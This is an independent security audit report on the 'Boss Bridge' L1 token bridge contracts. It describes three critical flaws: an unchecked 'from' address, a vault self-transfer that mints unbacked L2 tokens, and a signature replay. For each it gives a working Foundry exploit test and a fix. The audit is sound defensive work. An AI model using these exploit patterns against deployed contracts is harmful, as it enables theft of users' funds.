SMART CONTRACT SECURITY REVIEW

# Boss Bridge Audit Report

## Boss Bridge

Version 1.0

**Joev**
Independent Smart Contract Security Researcher

June 29, 2026

# Table of Contents

# About the Auditor

Joev is an independent smart contract security researcher.

- GitHub: https://github.com/joevly

# Disclaimer

This document records a time-boxed security review performed by Joev on the specific code and commit identified in *Audit Details*. It describes the issues found within that window and is **not** a guarantee that the code is free of vulnerabilities — a clean report lowers risk, it does not remove it.

The review covers only the on-chain Solidity implementation in scope. Off-chain components, economic and incentive design, governance, deployment configuration, and third-party dependencies are out of scope unless explicitly stated. This review is not an endorsement of the protocol, its team, or its business, and nothing here is financial, investment, or legal advice. Ongoing testing, monitoring, and independent review remain the responsibility of the protocol team.

# Protocol Summary

Boss Bridge is a simple token bridge that moves an ERC20 token from L1 (Ethereum Mainnet) to an L2 under construction. Users deposit tokens into a secure vault on L1 by calling `depositTokensToL2`. A successful deposit emits a `Deposit` event that an off-chain service picks up, parses, and uses to mint the corresponding tokens on L2. Withdrawals back to L1 are authorized by a trusted bridge operator (a "signer"), whose signature is verified on-chain before the vault releases funds.

To protect users, the first version of the bridge includes a few safeguards: the owner can pause the bridge in emergencies, deposits are capped by a strict deposit limit, and withdrawals must be approved by an authorized signer.

# Audit Details

The findings in this document correspond to the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

## Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- **Solc version:** 0.8.20
- **Chains to deploy to:** Ethereum Mainnet ( `L1BossBridge` , `L1Token` , `L1Vault` , `TokenFactory` ); ZKSync Era ( `TokenFactory` ).

- **Tokens:** `L1Token.sol` and copies of it only. All other ERC20s and their weirdness are considered out of scope.

### Roles

- **Bridge Owner:** A centralized owner who can pause/unpause the bridge in an emergency and set authorized signers.
- **Signer:** A trusted operator who signs withdrawal requests, authorizing the movement of tokens from L2 back to L1.
- **Vault:** The contract owned by the bridge that holds the locked tokens.
- **Users:** Mainly call `depositTokensToL2` to send tokens from L1 to L2.

## Methodology & Tools

This review combined:

- **Manual review** — line-by-line reading of the in-scope contracts, focused on access control, accounting/invariants, external calls, and the deposit/withdrawal authorization model.
- **Static analysis** — Slither and Aderyn to surface common issues quickly.
- **Dynamic testing** — Foundry unit tests to reproduce and confirm each issue.
- **Manual exploit PoCs** — each finding is backed by a reproducible Foundry test.

## Risk Classification

Severity is a function of **likelihood** (how easily the issue can be triggered) and **impact** (how damaging it is if triggered):

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| Likelihood | High | Critical | High | Medium |
| | Medium | High | Medium | Low |
| | Low | Medium | Low | Low |

This Critical / High / Medium / Low model is the de-facto standard among audit firms and bug-bounty platforms (e.g. Cantina, OpenZeppelin, Immunefi). Informational and Gas findings sit outside the matrix as code-quality and optimization notes.

## Severity Definitions

- **Critical** — directly and easily exploitable loss or theft of funds, or full protocol compromise. Must be fixed before deployment.
- **High** — loss of funds or a broken core invariant under realistic conditions; urgent fix.
- **Medium** — conditional or bounded harm, or protocol disruption where recovery is likely; fix recommended.
- **Low** — limited impact, unlikely preconditions, or a deviation from best practice with minor effect.
- **Informational** — no direct security impact: code quality, readability, unused code, events.
- **Gas** — optimizations that reduce gas with no change to behavior.

# Executive Summary

This review covered the L1 components of the Boss Bridge protocol. The audit surfaced three Critical severity issues, all of which lead to a direct and complete loss of user or vault funds. Two stem from the same root cause — `depositTokensToL2` trusts a caller-supplied `from` address — which lets an attacker both steal any approver's tokens and mint unbacked tokens on L2 by self-transferring from the vault. The third is a signature replay in the withdrawal path: signed withdrawals carry no nonce or deadline and are never marked as used, so a single legitimate signature can be replayed to drain the vault entirely.

The overall security posture is **weak in its current state** and the contracts should not be deployed until the issues below are resolved.

## Issues found

| Severity | Number of issues found |
|---|---|
| Critical | 3 |
| High | 0 |
| Medium | 0 |
| Low | 0 |
| Info | 0 |
| Gas | 0 |
| Total | 3 |

# Findings Summary

| ID | Short title | Severity | Status |
|---|---|---|---|
| C-1 | Arbitrary `from` allows stealing approvals | Critical | Open |
| C-2 | Vault-to-vault deposit mints unlimited L2 | Critical | Open |
| C-3 | Signature replay drains the vault | Critical | Open |

# Findings

## Critical

CRITICAL **[C-1] Arbitrary `from` parameter in `L1BossBridge::depositTokensToL2` allows an attacker to steal tokens from any user who has approved the bridge**

**Description:** `L1BossBridge::depositTokensToL2` accepts a caller-supplied `from` address and uses it directly in `token.safeTransferFrom(from, address(vault), amount)`. The function never verifies that `from` is the caller ( `msg.sender` ). Because the bridge model requires users to grant the bridge an allowance (typically `type(uint256).max` ) before depositing, any third party can pass another user's address as `from` and move that victim's tokens into the vault, crediting an attacker-controlled `l2Recipient` on L2.

```
    function depositTokensToL2(address from, address l2Recipient, uint256 amount)
external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
@>      token.safeTransferFrom(from, address(vault), amount);
        emit Deposit(from, l2Recipient, amount);
    }
```

**Impact:** Any user who has approved the bridge can have their entire approved balance stolen. The attacker deposits the victim's tokens while naming themselves as the L2 recipient, so the minted L2 tokens are credited to the attacker. This affects every user of the protocol and results in direct, complete loss of funds.

**Proof of Concept:**

Steps: 1. A victim approves `L1BossBridge` to spend their tokens (a required step to use the bridge). 2. An attacker calls `depositTokensToL2`, passing the victim's address as `from` and their own address as `l2Recipient`. 3. The victim's tokens are transferred to the vault, a `Deposit` event is emitted crediting the attacker on L2, and the victim's balance is drained to zero.

Place the following test into `L1TokenBridge.t.sol`:

```
    function testCanMoveApprovedTokenOfOtherUsers() public {
        // Victim approves the bridge
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        // Attacker drains the victim's approved balance
        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

**Recommended Mitigation:** Remove the `from` parameter and always transfer tokens from `msg.sender`. This ensures a caller can only deposit their own funds.

```
-    function depositTokensToL2(address from, address l2Recipient, uint256 amount)
external whenNotPaused {
+    function depositTokensToL2(address l2Recipient, uint256 amount) external
whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.safeTransferFrom(from, address(vault), amount);
+       token.safeTransferFrom(msg.sender, address(vault), amount);
-       emit Deposit(from, l2Recipient, amount);
+       emit Deposit(msg.sender, l2Recipient, amount);
    }
```

### CRITICAL [C-2] `L1BossBridge::depositTokensToL2` can transfer from the vault to itself, allowing attackers to mint unlimited tokens on L2

**Description:** During construction, the bridge approves itself to spend the vault's tokens ( `vault.approveTo(address(this), type(uint256).max)` ) so it can process withdrawals. Combined with the unchecked `from` parameter described in [C-1], an attacker can pass the vault's own address as `from`. The call `token.safeTransferFrom(address(vault), address(vault), amount)` succeeds (tokens move from the vault back to the vault), the vault balance is unchanged, and a `Deposit` event is emitted each time, crediting the attacker on L2. Because the vault balance never decreases, this can be repeated indefinitely.

```
    function depositTokensToL2(address from, address l2Recipient, uint256 amount)
external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
@>      token.safeTransferFrom(from, address(vault), amount); // from == address(vault)
is a no-op self-transfer
        emit Deposit(from, l2Recipient, amount);
    }
```

**Impact:** An attacker can emit unlimited `Deposit` events without locking any new tokens, causing the off-chain service to mint an arbitrary amount of tokens on L2. This destroys the 1:1 backing of the bridged token and renders it worthless. This is a critical loss-of-value bug for the entire protocol.

**Proof of Concept:**

Steps: 1. The vault holds some token balance (a normal state once the bridge is in use). 2. An attacker calls `depositTokensToL2` with `address(vault)` as `from` and their own address as `l2Recipient`. 3. A `Deposit` event is emitted and the vault balance is unchanged, so the call can be repeated as many times as desired, minting unbacked tokens on L2 each time.

Place the following test into `L1TokenBridge.t.sol`:

```
    function testCanTransferFromVaultToVault() public {
        address attacker = makeAddr("attacker");

        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        // The attacker can keep emitting Deposit events without moving any new tokens
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker, vaultBalance);

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker, vaultBalance);
    }
```

**Recommended Mitigation:** Applying the fix from [C-1] (transferring only from `msg.sender` ) resolves this issue, since the vault cannot initiate its own deposit. As defense in depth, the protocol should also prevent the vault address from being used as a depositor and consider tracking actual locked balances rather than relying solely on emitted events.

```
-    function depositTokensToL2(address from, address l2Recipient, uint256 amount)
external whenNotPaused {
+    function depositTokensToL2(address l2Recipient, uint256 amount) external
whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.safeTransferFrom(from, address(vault), amount);
+       token.safeTransferFrom(msg.sender, address(vault), amount);
-       emit Deposit(from, l2Recipient, amount);
+       emit Deposit(msg.sender, l2Recipient, amount);
    }
```

### CRITICAL [C-3] Missing replay protection in `L1BossBridge::sendToL1` allows a signed withdrawal to be replayed to drain the vault

**Description:** `withdrawTokensToL1` and the underlying `sendToL1` authorize a withdrawal by recovering a signer from a signed message and checking that the signer is an authorized operator. However, the signed message contains no nonce, no deadline, and no record of whether the signature has already been consumed. The contract never marks a signature as used, so the same valid `(v, r, s)` tuple can be submitted repeatedly. Each replay re-executes the encoded `transferFrom(vault, to, amount)` call, transferring tokens out of the vault every time until it is empty.

```
    function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public
nonReentrant whenNotPaused {
        address signer =
ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);

        if (!signers[signer]) {
            revert L1BossBridge__Unauthorized();
        }

        (address target, uint256 value, bytes memory data) = abi.decode(message,
(address, uint256, bytes));

@>      // No nonce/deadline and no used-signature tracking: the same signature can be
replayed
        (bool success,) = target.call{ value: value }(data);
        if (!success) {
            revert L1BossBridge__CallFailed();
        }
    }
```

**Impact:** A single legitimately signed withdrawal can be replayed by anyone (the signature is public once submitted) until the vault is fully drained. An attacker who makes one small legitimate withdrawal obtains a reusable signature and can repeat it to steal all funds held by the vault. This is a critical, total loss of vault funds.

**Proof of Concept:**

Steps: 1. An attacker deposits a small amount of tokens to L2 through the bridge. 2. An authorized operator signs the corresponding L1 withdrawal for that amount. 3. The attacker calls `withdrawTokensToL1` with the captured signature in a loop. Because nothing marks the signature as used, every call succeeds and transfers tokens from the vault. 4. The loop continues until the vault balance reaches zero, leaving the attacker with their original deposit plus the entire vault balance.

Place the following test into `L1TokenBridge.t.sol`:

```
    function testSignatureReplay() public {
        address attacker = makeAddr("attacker");
        // Assume the vault already holds some tokens
        uint256 vaultInitialBalance = 1000 ether;
        uint256 attackerInitialBalance = 100 ether;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance);

        // The attacker deposits tokens to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attacker, attackerInitialBalance);

        // The operator signs the legitimate withdrawal
        bytes memory message = abi.encode(
            address(token),
            0,
            abi.encodeCall(IERC20.transferFrom, (address(vault), attacker,
attackerInitialBalance))
        );
        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(operator.key,
MessageHashUtils.toEthSignedMessageHash(keccak256(message)));

        // The attacker replays the same signature until the vault is empty
        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v, r, s);
        }

        assertEq(token.balanceOf(address(attacker)), attackerInitialBalance +
vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

**Recommended Mitigation:** Include a unique, single-use nonce (and ideally a deadline) in the signed message, and track consumed signatures/nonces on-chain so each authorization can only be executed once. Reject any message whose nonce has already been used.

```
+    mapping(address account => mapping(uint256 nonce => bool used)) public usedNonces;
.
.
.
     function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public
nonReentrant whenNotPaused {
        address signer =
ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);

        if (!signers[signer]) {
            revert L1BossBridge__Unauthorized();
        }

-       (address target, uint256 value, bytes memory data) = abi.decode(message,
(address, uint256, bytes));
+       (address target, uint256 value, uint256 nonce, bytes memory data) =
+           abi.decode(message, (address, uint256, uint256, bytes));
+
```

```
+       if (usedNonces[signer][nonce]) {
+           revert L1BossBridge__Unauthorized();
+       }
+       usedNonces[signer][nonce] = true;

        (bool success,) = target.call{ value: value }(data);
        if (!success) {
            revert L1BossBridge__CallFailed();
        }
    }
```

The encoded message produced by `withdrawTokensToL1` (and any off-chain signer) must be updated to include the same `nonce` field so that the recovered signature is bound to a single, non-reusable withdrawal.

## High

*No high severity issues found.*

## Medium

*No medium severity issues found.*

## Low

*No low severity issues found.*

## Informational

*No informational issues found.*

## Gas

*No gas optimizations reported.*